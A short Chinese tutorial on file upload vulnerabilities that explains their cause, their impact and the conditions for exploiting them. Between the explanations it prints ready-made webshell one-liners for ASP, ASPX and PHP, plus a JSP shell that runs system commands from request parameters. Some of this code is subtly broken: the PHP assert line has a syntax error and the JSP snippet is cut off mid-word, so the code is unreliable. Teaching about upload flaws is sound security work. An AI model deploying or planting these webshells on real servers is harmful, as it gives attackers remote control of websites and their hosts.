简介:现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。
漏洞产生原因:
上传文件时,如果服务器端没有对客户端上传的文件进行严格的检验或过滤,就容易造成可上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp)
漏洞的危害:
非法用户可以利用上传的脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
<%eval request("x")%>//密码是‘x’ <%execute request("x")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
<?php eval($_POST['x'])?> //比较标准的用法;不一定是post,也可以是get <?php assert($_POST['x'];?)> //php版本>7时不能用了
<% if("x".equals(request.getParameter("pwd"))) { java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInp int a=-1; byte[] b=new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } %>
*文件上传漏洞的条件
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也就不能被称之为漏洞
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,也可能导致攻击不成功